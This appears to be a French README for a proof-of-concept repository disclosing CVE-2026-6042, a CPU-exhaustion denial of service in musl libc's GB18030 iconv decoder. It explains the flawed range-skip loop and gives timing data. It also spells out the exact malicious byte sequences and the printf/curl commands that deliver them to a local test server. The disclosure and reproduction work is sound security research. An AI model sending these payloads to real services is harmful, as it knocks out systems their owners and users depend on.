
Preuve de concept et test de bout en bout du DoS par complexité algorithmique dans musl libc 0.8.0-1.2.6, référencé CVE-2026-6042
iconv de musl libcLes boucles de saut de plage dans le décodeur GB18030 4 octets de iconv de musl permettent à une petite charge utile conçue avec soin de consommer un temps CPU disproportionné. Une charge utile malveillante de 40 Ko peut monopoliser un cœur de CPU pendant plus de 40 minutes.
Contrairement à ce que disent les avis de sécurité, le vecteur d'attaque de cet exploit est évidemment réseau, et non local. Cela vient du fait que VulDB ne comprend pas réellement les vulnérabilités qu'ils attribuent.
Vecteur CVSS 3.1 : AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (Élevé)
| Champ | Détail |
|---|
| Logiciel concerné | musl libc (implémentation de iconv) |
| Encodages concernés | GB18030 (séquences de 4 octets) |
| Type | Complexité algorithmique / Déni de service |
| Versions confirmées | musl 1.2.5 (Alpine 3.21), musl 1.2.6 (compilé depuis les sources) |
| Probablement concerné | Toutes les versions de musl depuis l'introduction du support de GB18030 et UHC/CP949 |
| Surface d'attaque | Tout service basé sur musl qui appelle iconv() sur des entrées non fiables avec ces encodages |
Le décodeur GB18030 4 octets de musl (src/locale/iconv.c, environ lignes 434-442) convertit une séquence d'entrée de 4 octets en un index linéaire, puis parcourt une boucle de saut de plage pour mapper cet index à un point de code Unicode. Pour chaque caractère décodé, la boucle interne itère sur l'intégralité du tableau gb18030[126][190] (23 940 entrées) pour compter combien de points de code mappés sur 2 octets tombent dans une plage glissante.
La séquence d'octets 82 35 8F 33 produit un index linéaire de 19 171, qui se situe juste en dessous de la plage dense des Idéogrammes unifiés CJK (U+4E00-U+9FBD, ~20 902 entrées). La boucle de saut de plage doit alors parcourir tout le bloc dense une entrée à la fois, exécutant environ 20 905 itérations externes, chacune analysant les 23 940 entrées du tableau. Cela représente environ 500 millions de comparaisons par caractère d'entrée.
Comme le coût augmente linéairement avec le nombre de caractères malveillants dans l'entrée, et que chaque caractère déclenche indépendamment la boucle interne complète, le travail total est O(n * k^2) où n est le nombre de caractères d'entrée et k la taille de la table de correspondance.
Tout système basé sur musl (Alpine Linux, Void Linux, postmarketOS, images conteneur/embarquées, etc.) exécutant un service qui transcode du GB18030 ou de l'EUC-KR provenant d'une entrée utilisateur via iconv() est vulnérable à un déni de service.
Temps projetés sur un seul cœur (mesurés sur Alpine 3.21 / musl 1.2.5) :
| Entrée | Temps |
|---|---|
| 1 caractère malveillant (4 octets) | ~0,26 s |
| 100 caractères (400 octets) | ~26 s |
| 1 000 caractères (4 Ko) | ~4,3 min |
| 10 000 caractères (40 Ko) | ~43 min |
À titre de comparaison, 100 caractères GB18030 bénins sont décodés en microsecondes.
| Fichier | Description |
|---|---|
poc_gb18030_dos.c | Preuve de concept autonome : mesure le temps de décodage GB18030 bénin vs malveillant via iconv() |
server.c | Serveur HTTP minimal qui transcode les corps de requêtes POST via iconv(), simulant une surface d'attaque réelle |
Dockerfile | Image conteneur Alpine Linux qui compile et exécute le serveur vulnérable |
test.sh | Script de test de bout en bout : envoie des charges utiles bénignes et malveillantes au serveur et compare les temps de réponse |
iconv)Compilez et exécutez sur tout système basé sur musl :
# Sur Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
Ou via Docker :
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
Sortie attendue : les caractères bénins sont décodés en microsecondes ; un seul caractère malveillant (82 35 8F 33) prend ~0,26 seconde.
Compilez et démarrez le serveur vulnérable :
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
Dans un autre terminal, exécutez le harnais de test :
./test.sh
Ou envoyez une charge utile manuellement :
# Bénin : 100 caractères, doit répondre instantanément
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# Malveillant : seulement 5 caractères, doit prendre >1 seconde
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
L'en-tête de réponse X-Transcode-Time indique le temps passé dans iconv().
La capture d'écran ci-dessous montre la mise à l'échelle linéaire de l'entrée malveillante contre le serveur Docker : 20 caractères (80 octets) prennent ~5,2 s, 80 caractères (320 octets) prennent ~20,8 s, et 160 caractères (640 octets) prennent ~41,5 s.

| Séquence | Index linéaire | Comportement |
|---|---|---|
81 30 81 30 (bénin) | 128 | Point de code bas ; la boucle de saut de plage se termine rapidement |
82 35 8F 33 (malveillant) | 19 171 | Se situe juste en dessous du bloc CJK dense ; déclenche ~500 M de comparaisons |
82 35 90 30 (malveillant) | ~19 200 | Même région, coût similaire |
Ce dépôt est publié à des fins de recherche en sécurité et de divulgation responsable. Le code est fourni uniquement pour reproduire et vérifier CVE-2026-6042. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.